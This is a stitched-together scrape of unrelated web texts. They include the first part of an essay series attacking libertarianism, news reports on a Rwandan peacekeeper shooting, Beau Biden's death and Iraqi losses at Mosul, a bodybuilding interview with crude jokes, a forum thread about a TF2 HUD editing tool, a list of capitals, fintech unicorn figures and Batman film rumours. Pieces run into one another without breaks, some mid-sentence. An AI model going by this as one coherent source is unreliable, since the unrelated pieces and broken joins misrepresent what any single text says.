Pride means so many things. It means unity and love and liberation and strength. And it means vodka!A Dim View of Libertarianism, Part I: What is Libertarianism?
Editor’s Note: As our present environmental realities are a consequence of the economic and political framework we live within (positive or negative activities are incentivised, disincentivised, encouraged, discouraged, allowed, enforced or outlawed by them), we will run a series on libertarianism over the ensuing days. Part I is below – additional parts will be linked to from the bottom of each as they go up.
Part I of a seven part series.
Copyright 2010 by Ernest Partridge. Published here with permission of the author.
A half century ago, when liberalism was ascendant in the Kennedy and Johnson administrations, libertarianism was a fringe curiosity. Now it has become a formidable political and economic force in the United States.
No existing democratic governments fully endorse and implement libertarian doctrine, for no national electorate would tolerate so radical a system of political economy. (The Libertarian Party in the United States has never attracted more than one percent of the votes in a Presidential election). Nonetheless, libertarianism deserves careful critical analysis since in theory, if not in practice, it is the ideological “spear-point” of “free market reform” throughout the world. Furthermore, many of its prominent exponents, such as Milton Friedman, F. A. Hayek, Ludwig von Mises and Robert Nozick, are highly esteemed by scholars throughout the world. Thus, while its principles may appear stark, unqualified and unyielding and its proposals over-simplistic, because of its widespread and growing influence, libertarianism must be taken very seriously.
For all its acquired respectability in contemporary political discourse, I will argue in these essays that libertarianism is a grave threat to the very existence of the American system of justice and representative democracy as we have come to know it. Libertarianism poses this threat not because of the cogency of its doctrines but rather because of the enormous financial and media resources that promote it.
These are serious accusations that require careful and extended justification. I will attempt to provide that justification in these essays.
These essays are drawn from numerous articles, both published and posted on the internet, that I have written during the past decade, as I have witnessed with much consternation, the spread of libertarian dogmas into American political and economic policies, and beyond the United States to many countries abroad. This series attempts to put some of those writings into a coherent order, and thus it is more than a quilt of stitched-together excerpts. All the material has been carefully reviewed and revised as necessary, and there will be a considerable amount of new material.
It is important to note at the outset that libertarianism divides neatly into two aspects: personal libertarianism and economic libertarianism. This division puts the libertarians at odds with both the political right and the political left. I hesitate to use the terms “liberal” and “conservative” since the public media have abused both terms to the point that they are essentially meaningless. In the American political scene today, self-described “conservatives” are more accurately identified as “regressives,” since they seek to return society and government to the conditions of earlier times. Accordingly, I will favor the word “regressive” in place of “conservative.” I will use the essentially synonymous words “liberal” and “progressive” interchangeably. (See Chapter 1 and Chapter 2 of my book in progress, Conscience of a Progressive, to which I will frequently refer in these essays).
The liberal (or progressive) tends to agree with libertarian insistence that law and government are not justified in interfering with the personal lives of individuals. They agree that in a free society there is no place for laws regarding sexual preference, abortion, drug use, euthanasia, etc. Liberals and libertarians thus endorse John Stuart Mill’s proclamation that “over himself, over his own mind body and mind, the individual is sovereign.”1 To the contrary, the right, and especially the religious right, has no trouble endorsing government interference regarding these matters of personal conduct.
On the other hand, the liberal left strongly opposes, and the right endorses, the libertarian positions regarding market fundamentalism, deregulation of commercial activity, minimal government, and privatization. Economic libertarianism has for all practical purposes been adopted into the platform of the Republican Party, even though that party is reluctant to embrace the term “libertarianism.”
Because economic libertarianism poses the greater threat to the American system of government and traditions of justice, I will devote most of my attention to that aspect of libertarianism.
These are the essential doctrines of libertarianism.
While not all individuals who describe themselves as libertarians will fully agree with all of these stipulations, (there are, after all, several varieties of libertarianism), the following formulations will identify the “targets” of my analyses in these essays.
Natural Rights. There are three fundamental human rights: to life, liberty and property. These rights are all “negative rights,” in that they all stipulate “freedom from” interference from other persons or from governments. There are no natural “positive rights:” i.e., rights to receive, e.g., an education, a livelihood, health care, etc.
There are three fundamental human rights: to life, liberty and property. These rights are all “negative rights,” in that they all stipulate “freedom from” interference from other persons or from governments. There are no natural “positive rights:” i.e., rights to receive, e.g., an education, a livelihood, health care, etc. The like liberty principle: All persons are entitled to maximum freedom consistent with equal liberty for all.
All persons are entitled to maximum freedom consistent with equal liberty for all. Minimal government: The only legitimate function of government is the protections of each individual’s rights to life, liberty and property All other functions of government are illegitimate. Taxation to support these illegitimate functions amounts to a theft of private property.
The only legitimate function of government is the protections of each individual’s rights to life, liberty and property All other functions of government are illegitimate. Taxation to support these illegitimate functions amounts to a theft of private property. Spontaneous Order. The fundamental social institutions arise “spontaneously” out of individual voluntary associations. No planning or regulation “from the top down” is necessary.
. The fundamental social institutions arise “spontaneously” out of individual voluntary associations. No planning or regulation “from the top down” is necessary. Social atomism. There are no separate entities called “society” or “the public.” These are simply aggregates of individuals.
There are no separate entities called “society” or “the public.” These are simply aggregates of individuals. Privatism. Private ownership is always preferable to public ownership.
. Private ownership is always preferable to public ownership. Market Fundamentalism: The “free market” – the unregulated and undirected summation of all private buyer/seller transactions – is always “wiser” than centralized economic planning.
Now, to an elaboration of these doctrines:
Individualism and Social Atomism: Libertarianism is a radically individualistic doctrine. The optimal libertarian society (if “society” is the correct word) is an aggregate of individuals in voluntary association, secure in their “natural rights” to life, liberty and property. (Thus, as we have noted, the only legitimate function of the “minimal government” is to protect these rights). Since, in A. Myrick Freeman’s words, “each individual is the best judge of how well-off he or she is in a given situation,”2 there is no agency (government or otherwise) entitled to curtail an individual’s liberty to pursue his own welfare, provided that pursuit does not interfere with the equivalent liberty of others. (Once again, the “like liberty principle.” ) Thus “society,” ideally, is a simple summation of individuals, in voluntary association, privately optimizing their satisfactions.
Natural Rights: To the libertarian, the Lockean rights of the individual to life, liberty, and property are fundamental. Because these rights reside in the individual, the only legitimate function of government is to protect these rights from usurpation by other individuals or institutions – especially the government itself which, according to John Hospers, is “the most dangerous institution known to man.”3 Accordingly, the scope of government must be scrupulously confined to the protection of life, liberty and property from foreign enemies (through the military), from domestic enemies (through the police and criminal courts), and from the private activities of others (through the civil courts). This last function of government is justified by the maxim that each individual is entitled to maximum liberty consistent with “like liberty” of others; i.e., that I am forbidden only to constrain the liberty of my fellow citizens. We shall later argue that “the like liberty principle,” embraced in the abstract by libertarians, proves in practice to be both the undoing of libertarianism, and the foundation of liberal politics.
Thus Libertarians stress so-called negative rights (or “liberty rights”) which entail duties of forbearance on the part of others. For example, my right to free speech entails your duty not to prevent that speech. However, to the libertarian, there are no “positive” or “welfare rights,” which entail the duty of individuals or of government to positively provide benefits or sustenance to others. The poor have no “rights” to welfare support, and the only children that have a right to our support are our own.
William Bayes4 expresses the essence of libertarianism with admirable clarity:
The freedom to engage in any type of enterprise, to produce, to own and control property, to buy and sell on the free market, is derived from the rights to life, liberty, and property … [but] when a government guarantees a “right” to an education or parity on farm products or a guaranteed annual income, it is staking a claim on the property of one group of citizens for the sake of another group. In short, it is violating one of the fundamental rights it was instituted to protect… All that which an individual possesses by right (including his life and property) are morally his to use, dispose of and even destroy, as he sees fit…. Where do my rights end? Where yours begin. I may do anything I wish with my own life, liberty and property without your consent; but I may do nothing with your life, liberty an property without your consent….
The liberal, while accepting the libertarian triad of negative rights, also proclaims the citizens’ “positive rights” – to an education, to employment with a living wage and safe working conditions, to a clean and safe environment, etc. These rights arise from the fact that the liberal, unlike the libertarian, recognizes social benefits and public interests. Communities flourish when they include an educated work force, when the citizens are assured that their basic needs for livelihood and health-care are met, and when the citizens share the conviction that the society is their society and that they have a role in its governance. And because the communal activity produces more wealth than would be obtained by the sum of individual efforts, members of the community have positive rights to a share of that wealth, and to community assistance in case of misfortune.
Accordingly, the liberal insists that Ayn Rand’s Ubermensch, John Galt, is a fantasy. There is no fully “self-made man,” morally free of all responsibility and obligation to the society that nurtured him and sustains him.
Privatization, Environment, and the Commons Problem: According to the libertarians, all environmental problems derive from common ownership of such natural resources as pasturage, fisheries, and even air, water and wildlife. The solution? Privatization of all such resources. Does this sound extreme? Consider the following from Robert J. Smith (my emphases): “The problems of environmental degradation, pollution, overexploitation of natural resources, and depletion of wildlife all derive from their being treated as common property resources. Whenever we find an approach to the extension of private property rights in these areas, we find superior results.”5
The environmental devastation in the former communist countries, the libertarians argue, proves the rule: that which is the property of everyone (i.e., the state) is the responsibility of no one. In contrast, they argue, resources will be best protected when the costs of environmental degradation fall upon the property owner. Accordingly, when the environment and its resources are privately owned, there is no need to urge the owners to practice “good ecological citizenship” for abstract altruistic reasons or through the threat of government sanctions. Instead, the libertarian believes, self interest and economic incentives will suffice to motivate the property owner to maximize the long-term value of his property.
Public Accommodations and Property Rights. Because property rights are inviolable, the owner of a restaurant or motel or other “public accommodation” is entitled to refuse service to anyone at the owners’ sole discretion, which means that the owner has the right to discriminate on the basis of race, religion, national origin, or whatever. Thus the public accommodations section of the Civil Rights Act of 1964 constitutes an illegitimate violation of personal property rights. The libertarian might agree that discrimination is morally indefensible, and that private citizens are fully entitled to protest and to boycott establishments that elect to discriminate. Nonetheless, the property rights of the owners are inviolable. (See my Property Rights and Public Accommodations).
Spontaneous Order. “The great insight of libertarian social analysis,” writes David Boaz, “is that order in society arises spontaneously, out of actions of thousands or millions of individuals who coordinate their actions with those of others in order to achieve their purposes.”6 Because an orderly society arises “spontaneously” out of the free associations and activities of individuals, without the support, investment or coordination of any overarching institutions (e.g., governments), a well-ordered society is a “free gift,” for which nothing is owed (i.e., taxes ) by the component individuals for its maintenance.
Minimal Government. Accordingly, it follows that government has no function other than to protect and secure each individual’s natural and inalienable rights to life, liberty and property. Any additional functions of government, for example public education, public parks, museums, support for the arts, scientific research, welfare payments, foreign aid, are illegitimate, and taxes levied to support these functions constitute theft of private property.
Market Fundamentalism. “The wisdom of the market place” – prices that arise out of the numerous free transactions between autonomous individuals – will always exceed the “wisdom” of regulated markets, controlled and coordinated by superordinate (namely government) agencies. Milton and Rose Friedman clearly enunciate this central dogma of libertarianism:
A free market [co-ordinates] the activity of millions of people, each seeking his own interest, in such a way as to make everyone better off… Economic order can emerge as the unintended consequence of the actions of many people, each seeking his own interest.”7
In the phrase “the activity of millions of people, each seeking his own interest…” we see the concept of social atomism at work. And in the clause, “economic order can emerge as the unintended consequence…” we find a reiteration of the concept of spontaneous order.
In the essays that follow, we will critically examine these fundamental doctrines of libertarianism, with the goal of proving our opening assertion that libertarianism is both false and dangerous. We turn our attention first to “social atomism” — the radical reductionist claim by the libertarians that, strictly speaking, “there is no such thing as “society” or “the public.”
Continue to Part II
Notes and References:
John Stuart Mill, On Liberty. Freeman, A. Myrick (1983), “The Ethical Basis of the Economic View of the Environment,” The Center for the Study of Values and Social Policy, University of Colorado. John Hospers, “What Libertarianism Is,” The Libertarian Alternative, (ed.) Tibor R. Machan, New York: Nelson Hall. 1974. Bayes, William W. 1970). “What is Property?,” The Freeman, July 1970, p. 348. Smith, Robert J., "Privatizing the Environment," Policy Review, Spring, 1982, p. 11. David Boas, Libertarianism: A Primer, New York: The Free Press, 1997, p. 16. Milton and Rose Friedman, Free to Choose, New York: Harcourt, Brace, Jovanovich, 1980, pp.13-14.
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PopularImage copyright AFP Image caption Just over 10,000 UN peacekeepers are currently serving in the Central African Republic
A Rwandan soldier serving as a peacekeeper in the Central African Republic (CAR) has shot dead four colleagues before killing himself, the Rwandan Defence Ministry has said.
Eight others were wounded in the attack, a statement said.
A Rwandan military spokesman called the incident "deplorable".
Those dead served under the UN's mission in CAR, deployed to support the country's fragile transitional government.
The country descended into sectarian violence in 2013 when the predominantly Muslim Seleka rebels seized power, prompting reprisals from Christian militia.
An investigation was under way into the incident, which took place in the CAR's capital Bangui, said Brig-Gen Joseph Nzabamwita.
"We suspect terrorism without ruling out mental illness to be the cause," he said.In this Saturday, July 4, 2009, file photo, U.S. Vice President Joe Biden, right, talks with his son, U.S. Army Capt. Beau Biden, at Camp Victory on the outskirts of Baghdad, Iraq. On Saturday, Vice President Biden announced the death of son, Beau, from brain cancer.
Khalid Mohammed/AP
By DARLENE SUPERVILLE, Associated Press
WASHINGTON (AP) — Vice President Joe Biden announced Saturday that his son, Beau, has died of brain cancer. Beau Biden was 46.
"It is with broken hearts that Hallie, Hunter, Ashley, Jill and I announce the passing of our husband, brother and son, Beau, after he battled brain cancer with the same integrity, courage and strength he demonstrated every day of his life," the vice president said in a statement late Saturday.
"The entire Biden family is saddened beyond words. We know that Beau's spirit will live on in all of us, especially through his brave wife, Hallie, and two remarkable children."
President Barack Obama said he and the first lady were grieving alongside the Biden family.
"Michelle and I humbly pray for the good Lord to watch over Beau Biden, and to protect and comfort his family here on Earth," Obama said.
The younger Biden was a lawyer, member of the Delaware National Guard and former Delaware attorney general.
He was hospitalized earlier this month at Walter Reed National Military Medical Center. The vice president's office had declined to say what he was being treated for.
In 2010, Beau Biden suffered a mild stroke. Three years later, he underwent surgery at a Texas cancer center to remove what was described as a small lesion.A new organization hopes to provide patients with the resources they need in order to seek asylum in states that have legalized cannabis. The Undergreen Railroad, which is seeking 501(c)3 status, was founded by Lindsey Rinehard, an MS patient who found relief from her symptoms in medical marijuana. According to the organization’s website the Railroad provides information, networking opportunities and, in some cases, cash assistance for people with illnesses that can be treated with medical marijuana.
There are costs involved, and uncertainties, and for some, a total lack of support from their city, state, friends, or family. That’s where we at The Undergreen Railroad come in!
The Undergreen Railroad provides assistance finding employment, housing and doctors that can prescribe medical marijuana in legal states and provides links to caregivers, dispensaries and social service organizations if needed. In addition to links and networking the Railroad also provides more tangible resources to some patients by starting fundraisers designed to raise money to help them move.
This is an interesting program that will hopefully remove some of the barriers one can run into when picking up and moving to a strange land. To donate or volunteer visit the Railroad’s Facebook page.
Read more…
Related contentIraqi Counter-Terrorism Service (CTS) advance in the old city of Mosul on July 7, 2017 (Ahmad Al-Rubaye/AFP)
Iraq's premier fighting force has lost 40 per cent of its men in the battle to liberate Mosul from Islamic State control.
The Counter Terrorism Service, an elite US-trained unit, suffered the huge loss as it spearheaded the fight to drive militants out of Iraq's second city and IS's final stronghold in Iraq.
While the Baghdad government has refrained from divulging its battlefield losses, the figure was revealed in a US Department of Defense budget document, requesting $1.269 billion to rebuild, equip and train the unit to 20,000 personnel over the next three years.
"Requested funding will be essential in rebuilding CTS combat power that suffered 40 per cent battle losses in Mosul," it said.
It added: "These funds will be used to replace combat loss vehicles and equipment, while training and equipping the personnel to rebuild this force amidst continuing casualties."
Since October, the CTS, Iran-backed Shia militias, Kurdish peshmerga, Iraq security forces and a US-led international coalition, have fought to dislodge IS from Mosul in what has been described as the biggest urban battle since the Second World War.
Almost one million residents were displaced during the eight-month battle, with civilian casualties also high.
The Iraqi government has continuously refrained from publicising the casualty figures for government troops and paramilitary forces but the death toll is estimated to be heavy.
The UN came under criticism from the Iraqi military in December 2016 after reporting that nearly 2,000 members of the Iraqi forces had been killed in November alone.
Baghdad disputed the figues, saying the number was "not accurate and much exaggerated".
Meanwhile, airstrikes and exchanges of gunfire could still be heard in the narrow streets of Mosul's Old City on Monday, where IS has staged its last stand.
While patriotic celebrations took place in other parts of the city, Prime Minister Haider al-Abadi's spokesman, Saad al-Hadithi, said victory would not be formally declared until the few remaining militants were cleared from Mosul.Bret Contreras wants you to know he's read every single article T NATION has ever published. (That's online and print, buddy.)
Passionate about training? You bet your ass.
Speaking of asses, Bret also wants you to know that yours is weak and ugly, and he means that in the nicest way possible. But you should still do something about it. (He also wants you to know he regularly massages the ass of one of his clients who just happens to be a figure competitor.)
Bret wants you to know a lot of things, but that's just because he wants to know a lot of things, too. That's why he received his Masters degree from ASU, his CSCS from NSCA, took a full year off to conduct EMG research, wrote a book about glutes, and is planning to head back to school for his Ph.D.
In fact, Bret's so eager to share his knowledge about bodybuilding, speed, new exercises, and sports training, that he'll start ranting immediately after answering the phone for your interview.
But I guess you really didn't need to know that.
T Nation: Hello? You there? Hold on. Shit. Let me turn this thing on.
Bret Contreras: Sorry about that.
T Nation: Nah, it's cool. We're recording now. What were you getting all pissed about? Something about being "anti-bodybuilding?"
Bret Contreras: I was saying that a lot of experts seem to be anti-bodybuilding. While I agree the vast majority of people see more results when they follow a routine that hits each major muscle group two or three times per week, I believe that every person should experiment with HVT, HIT, HFT, EDT, body-part splits, upper/lower splits, and total body training to find what works best for them.
There's no need to bash any particular system. We all have unique physiologies so we all respond differently to various exercises, splits, volumes, frequencies, intensities, and densities. In fact, the best part of strength training over the long haul is discovering our own unique system.
T Nation: Good point. I've also noticed a lot of guys shitting on the bodybuilding philosophy in the past couple of years, but I think it's making a comeback.
Bret Contreras: I agree. But I've seen a lot of strength coaches and corrective exercise types who employ sport-specific training but wouldn't be caught dead using bodybuilding techniques. However, bodybuilders have been preaching about developing intense mind-muscle connections, reaching optimal levels of body composition, and hitting the muscles from a lot of angles for many decades. Are you telling me their athletes can't benefit from all that?
We all know the sport-specific crowd trains "movements, not muscles." Now they have to teach people how to activate certain muscles like their glutes because they were too focused on the movements. They didn't pay any attention to the muscles.
If you're performing the right strength exercises through the proper range of motion and squeezing the right muscles, then muscle activation takes care of itself. Had we listened to what bodybuilders have said all along and applied it to sport-specific training there would be no need for activation work.
T Nation: That's going to piss some people off.
Bret Contreras: Yeah, but that's okay. It's time for a change.
If a coach prescribes solely axial lifts for his athletes like squats and deadlifts without prescribing anteroposterior lifts like hip thrusts and back extensions, then the athlete will be robbed of maximum glute and hamstring activation and sprint speed development.
Had we listened to the bodybuilders about hitting muscles from various angles we wouldn't have been overly-focused on performing standing barbell and dumbbell exercises and would have been more open to supine, prone, and quadruped movements. And our athletes would be faster because of it.
I don't think there are many trainers right now who are raking in the dough, and considering that people hire trainers for a myriad of reasons including fat loss, muscle gain, increased strength, enhanced speed, and improved health, it's very important for trainers to have a good understanding of each sub-field of strength training so they can be of maximum benefit to their clients.
T Nation: Let's forget about the trainers for a minute and talk about the guys who are in the gym busting their ass. You wrote me an email a few days ago and said they were married to the methods. What did you mean?
Bret Contreras: Most guys have too many goals or none at all. I think each month you should choose a new primary goal. I don't care if it's to gain ten pounds on your bench press, perform two more reps on a chin-up, or gain five pounds of muscle.
But too often we're married to our methods to reach our goals in what we think will be the quickest manner possible.
In strength training we have a lot of divisiveness. There's a time and place for every type of training and we should look at all of these methods as "tools" to help us reach our goals. Guys like Christian Thibaudeau and the late Mel Siff truly understand fitness. They have an appreciation for all types of training, are very open-minded, and can see value in most methods. These are my favorite types of experts. I don't like when people make judgments about certain exercises or training systems having never tried them.
I mean, get good at Bulgarian split squats and single leg RDL's and you'll swear by them. Do HIT training for two months and you might see the best gains of your life.
If you've been training for strength but want increased power, put the strength work on the back burner and focus on speed-strength, explosive strength, and reactive ability.
However, many people have serious hang-ups with abandoning their favorite exercises or methods for a period of time. You can't train for maximum power, maximum strength, maximum size, and maximum conditioning at the same time.
T Nation: But what if a particular method has been working great. Are you saying we should change it up even if we're consistently making gains?
Bret Contreras: Not at all. I'm just saying that your new goal will require you to add something in. To do that, you must take something out. So if you're still getting a benefit from a certain exercise, then sure, keep it in. But I bet there are other parts of your program that aren't doing much for you.
And you gotta know the difference. Most guys will still keep the bench press even though they haven't progressed on it for months. They simply can't let go of an exercise or method in order to advance at something new.
Nate, if I told you that you had to increase your vertical jump by five inches in the next two months or I'd molest your dog in the worst way, what would you do?
T Nation: Wait, what? That's weirdest threat I've ever received.
Bret Contreras: I don't know why I just said that. But, still, what would you do? Let's say you're a strong, powerful squatter. You'd likely improve your jump the most by eliminating squats for two months and doing solely plyometrics, Olympic lift variations, jump squats, and medicine ball work. But many people could never get over the mental hurdle of taking two months off squatting in order to reach that goal.
I've met people who continuously re-injure their lower back from squatting and deadlifting. Their goals should be to rehabilitate themselves so they can lift pain-free |
mentioned before Avira also detects the updater as a virus, I am however gonna change the update system in the future so that I can only repeat the stuff I said above.
15 #15 flyingsnorlax 1 Frags – + four flyingsnorlax help please?
How about just looking into the file and figuring it out yourself? Names is tf2 huds are pretty damn obvious. i have been dicking around in it for the last day, and all i've succeeded in doing is making tf2 crash for no damn reason. [quote=four][quote=flyingsnorlax]help please?[/quote]
How about just looking into the file and figuring it out yourself? Names is tf2 huds are pretty damn obvious.[/quote]
i have been dicking around in it for the last day, and all i've succeeded in doing is making tf2 crash for no damn reason.
16 #16 thrasher 0 Frags – + This may be a dumb question, but is there any chance that this program could somehow get detected by VAC as a cheat? Erroneous VAC bans are very possible. This may be a dumb question, but is there any chance that this program could somehow get detected by VAC as a cheat? Erroneous VAC bans are very possible.
17 #17 turtsmcgurts 0 Frags – + crashes if you don't set a proper path for your HUD in the initial step. crashes if you don't set a proper path for your HUD in the initial step.
18 #18 four 0 Frags – + thrasher This may be a dumb question, but is there any chance that this program could somehow get detected by VAC as a cheat? Erroneous VAC bans are very possible. This tool only does winapi calls so I guess that tf2 thinks that it's just normal window moving and key pressing. I don't think that VAC will do anything, especially because you normally don't go on public servers when you test huds. [quote=thrasher]This may be a dumb question, but is there any chance that this program could somehow get detected by VAC as a cheat? Erroneous VAC bans are very possible.[/quote]
This tool only does winapi calls so I guess that tf2 thinks that it's just normal window moving and key pressing. I don't think that VAC will do anything, especially because you normally don't go on public servers when you test huds.
19 #19 thrasher 0 Frags – + True, but if someone were to forget to fully close the program or accidentally join off a friend... Just wanted to make sure there were no issues there. I really want to test it. I might try it out on my laptop with a freeplay account just to be on the safe side until more people have tried it. True, but if someone were to forget to fully close the program or accidentally join off a friend... Just wanted to make sure there were no issues there.
I really want to test it. I might try it out on my laptop with a freeplay account just to be on the safe side until more people have tried it.
20 #20 Quartz 1 Frags – + thrasher True, but if someone were to forget to fully close the program or accidentally join off a friend... Just wanted to make sure there were no issues there.
I really want to test it. I might try it out on my laptop with a freeplay account just to be on the safe side until more people have tried it. How can you forget you're playing tf2 from a small ass window inside another window with lots of text around? :p [quote=thrasher]True, but if someone were to forget to fully close the program or accidentally join off a friend... Just wanted to make sure there were no issues there.
I really want to test it. I might try it out on my laptop with a freeplay account just to be on the safe side until more people have tried it.[/quote]
How can you forget you're playing tf2 from a small ass window inside another window with lots of text around? :p
21 #21 flyingsnorlax 0 Frags – + turtsmcgurts crashes if you don't set a proper path for your HUD in the initial step. i figured out why it was crashing. also, i've managed to get the model to appear, i just need to center it in the box it appears in. [quote=turtsmcgurts]crashes if you don't set a proper path for your HUD in the initial step.[/quote]
i figured out why it was crashing. also, i've managed to get the model to appear, i just need to center it in the box it appears in.
22 #22 four 0 Frags – + flyingsnorlax turtsmcgurts crashes if you don't set a proper path for your HUD in the initial step.
i figured out why it was crashing. also, i've managed to get the model to appear, i just need to center it in the box it appears in. He's saying that 4Hud crashes if you don't set up a proper path (the same thing actually happened to 4Script in the beginning), you're talking about TF2 crashing. [quote=flyingsnorlax][quote=turtsmcgurts]crashes if you don't set a proper path for your HUD in the initial step.[/quote]
i figured out why it was crashing. also, i've managed to get the model to appear, i just need to center it in the box it appears in.[/quote]
He's saying that 4Hud crashes if you don't set up a proper path (the same thing actually happened to 4Script in the beginning), you're talking about TF2 crashing.
23 #23 PupNSuds 0 Frags – + I just cant get it to work, i got the embedding to work, but when i reload the hud none of the changes take effect? do you have any ideas? I just cant get it to work, i got the embedding to work, but when i reload the hud none of the changes take effect? do you have any ideas?
24 #24 four 0 Frags – + PupNSuds I just cant get it to work, i got the embedding to work, but when i reload the hud none of the changes take effect? do you have any ideas? Press F5 in the editor, if you you get a message/nothing happens take a look at the keys tab in the settings! [quote=PupNSuds]I just cant get it to work, i got the embedding to work, but when i reload the hud none of the changes take effect? do you have any ideas?[/quote]
Press F5 in the editor, if you you get a message/nothing happens take a look at the keys tab in the settings!
25 #25 PupNSuds 0 Frags – + should i set a hud_reloadschme key in game like it says? should i set a hud_reloadschme key in game like it says?
26 #26 mana 0 Frags – + PupNSuds should i set a hud_reloadschme key in game like it says? Yep. It's useful even while not editing. If your HUD just somehow gets strange, a hud_reloadscheme usually is the fix. [quote=PupNSuds]should i set a hud_reloadschme key in game like it says?[/quote]
Yep. It's useful even while not editing. If your HUD just somehow gets strange, a hud_reloadscheme usually is the fix.
27 #27 Nooph 0 Frags – + Is there any way to turn off the scroll wheel locking? It seems like a nice feature, but I would prefer for it to be off. Is there any way to turn off the scroll wheel locking? It seems like a nice feature, but I would prefer for it to be off.
28 #28 four 0 Frags – + Nooph Is there any way to turn off the scroll wheel locking? It seems like a nice feature, but I would prefer for it to be off. what's scroll wheel locking? [quote=Nooph]Is there any way to turn off the scroll wheel locking? It seems like a nice feature, but I would prefer for it to be off.[/quote]
what's scroll wheel locking?
29 #29 Goat_ 0 Frags – + I'm testing it since an early alpha
I have avira and it goes nuts but the stuff is clean.
Great work as all of your tools, keep it rolling. I'm testing it since an early alpha
I have avira and it goes nuts but the stuff is clean.
Great work as all of your tools, keep it rolling.City Country Notes
Abuja Nigeria Lagos was the capital from 1914 to 1991
Bern Switzerland De facto capital
Brussels Belgium Also the de facto capital of the European Union
Gitega Burundi Bujumbura was the capital from 1962 to 2018
Hargeisa Somaliland Unrecognized and self-declared state, de jure part of Somalia.
Kuala Lumpur (official, legislative and royal)
Putrajaya (administrative and judicial) Malaysia
Lima Peru Cusco is declared as the "Historical Capital" (Spanish: Capital Historica), a merely symbolic statement, by Article 49 of the Peruvian Constitution.
Nicosia Northern Cyprus De facto independent state that is recognised only by Turkey. Northern Cyprus is claimed in whole by the Republic of Cyprus.[4]
Podgorica (official)
Cetinje (Old Royal Capital, present seat of the President) Montenegro
Quito Ecuador Highest official capital (2,850 m).[5]
Sri Jayawardenepura Kotte (official)
Colombo (executive, judicial) Sri Lanka Also known as "Kotte". Until the 1980s, the capital was Colombo, where many important governmental institutions still remain and which is still designated as the commercial capital of Sri Lanka.
Stepanakert Artsakh The self-declared country remains diplomatically unrecognised by UN-member states, including Armenia. Transnistria, South Ossetia, and Abkhazia, all UN non-member states, recognise the state. Claimed in whole by Azerbaijan.
Tiraspol Transnistria De facto independent state, not recognized by any UN-member, but by Abkhazia and South Ossetia. Claimed in whole by the Republic of Moldova as the Territorial Unit of Transnistria.
Yamoussoukro (official)
Abidjan (former capital; still has many government offices) Ivory CoastThe 27 Fintech Unicorns, and Where They Were Born
Everyone wants faster, cheaper, and more customized financial services – and since technology now makes this possible, the world is embracing the fintech revolution.
In 2015, investments in fintech nearly doubled to $22.3 billion. And although there were 1,108 deals made, there are only 27 companies that can call themselves unicorns – private companies valued at over $1 billion or more.
Locating the Fintech Unicorns
Today’s infographic breaks down data on the 27 fintech unicorns, and it comes from Glance Technologies, a Canadian-based payments company that just IPO’d on the Canadian Securities Exchange.
In total, the world’s fintech unicorns add up to a total valuation of $138.9 billion, and here’s how that is distributed by geography:
Location Unicorns Total Value Raised Total 27 $138.9B $16.9B United States 14 $31.0B $5.7B China 8 $96.4B $9.4B Rest of World 5 $11.5B $1.8B
Amazingly, the 27 fintech unicorns have only been born in six countries: United States, China, Sweden, India, the Netherlands, and the UK.
The United States has more than half of all fintech unicorns (14), including nine in Silicon Valley. China has eight unicorns, while the UK has two. Sweden, India, and the Netherlands each have one.
While the U.S. can say it is home to more unicorns, the Chinese ones have far more value so far. The biggest four fintech unicorns worldwide were all born in China: Ant Financial ($60 billion), Lufax ($18.5 billion), JD Finance ($7 billion), and Qufenqi ($5.9 billion). This is because China has more than 500 million smartphone users, with a more evolved market for payments and P2P lending.
Fintech Unicorns by Sub-Sector
Fintech is a broad net that encompasses everything from health insurance apps to robo-advisors. As a result, different sub-sectors within fintech are maturer with more unicorns and success stories (payments, lending), while others do not have any unicorns yet (wealth management, blockchain).
Here are the 27 fintech unicorns, organized by sub-sector:
Sub-sector Unicorns Valuation % of total 27 $138.9B 100.0% Payments 7 $77.9B 56.1% Lending 8 $30.4B 21.9% Financial Services 3 $11.5B 8.3% Consumer financing 2 $7.9B 5.7% Enterprise/SaaS 5 $6.5B 4.7% Insurance 2 $4.7B 3.4%
The biggest fintech startups are in payments and lending, which combine for nearly 80% of the value of all unicorns combined. Meanwhile, all other sub-sectors including insurance, enterprise/SaaS, financial services, and consumer financing add up to roughly 20%.
Future Unicorns
Will future fintech unicorns follow similar tracks to their predecessors?
The biggest success stories have come from payments and P2P lending, especially in China. Today, however, the Chinese payments market seems pretty hard to crack, with big dogs like Alibaba, JD.com, and Tencent all having their hands in the cookie jar. Recently, P2P lending has also been under scrutiny by regulators in China, and even U.S. lending champions such as Lending Club are having challenges as of late.
Perhaps the next fintech giant will come from somewhere outside of the status quo.Following Comments Were Posted by SHH's RAGANORK8
Bane is a successful villain. He comes into Gotham with a plan executes it and stops anyone who tries to stop him. He's tactical and smart he knows who to apply pressure to and who to get rid of however he has a short fuse and when Batman begins to gain the upper hand Bane resorts to drastic measures.
The device, whatever it is, GOES OFF at some point and destroys a massive part of Gotham State and cripples the entire city. Law enforcement is useless against it and in fear of another attack in other major cities or in Gotham again people are quiet about trying to stop Bane head on. This leads to a depressive state in Gotham where fear of the machine and Bane's use of it keeps Gotham in line.
Gotham becomes what it was pre-BB and Catwoman is somewhat of a mirror of Joe Chill. Desperate, she resorts to crime to get what she wants and in a critical moment she has to decide whether to let her desperation get to her like Chill or to use her desperation for something else. we know what she chooses...or do we?
Tate is Talia.
John Blake is a rookie cop but with a deep affiliation with Gotham, someone struggling to make a difference after the death of Harvey Dent spurs Gotham into trying to do well for itself; this means hunting Batman but Gordon serves as a psuedo-anchor for Blake but when he's taken out of the picture Blake is thrown into a situation where he has to make choices on his own and decide how and when to fight against Bane and what it means to be a Gothamite
Gordon is a major player in this film. Akin to what Palpatine's part in ROTS was compared to the other films
Bridge shoot seemed to be a perilous one. St. Swithens is back again and it looks like these boys are in some trouble. Perhaps they're sight seeing or something but at the drop of a dime suddenly everyone panics, several people go running and the kids run back into the bus in a very heavy clamor.
Also, Got to see some of the night shoot from the other day, I never once saw Catwoman But I could tell Batman was talking to someone. Whatever the conversation was, he didn't look...Happy. It's hard to tell what he looked like but the exchanged looked somewhat charged. Also he looked as if he was talking to the Batwing...
All I know is that I was told by my guy that they're going to start the promotional campaign getting people used to both Batman and Bane. He was saying that it seemed they want to do a two fold marketing strategy: The first ChrisB mentioned first with Batman and the Batcave trying to reintroduce us into a more traditional looking setting for Batman. Reacquainting us to Batman and then having some definite looks at Bane. So the audience can ponder this monster on their own for a little while.
Somewhat of a This guy Vs. This Guy kind of thing. You'll see two worlds and Gotham is going to be trapped between them in some way.
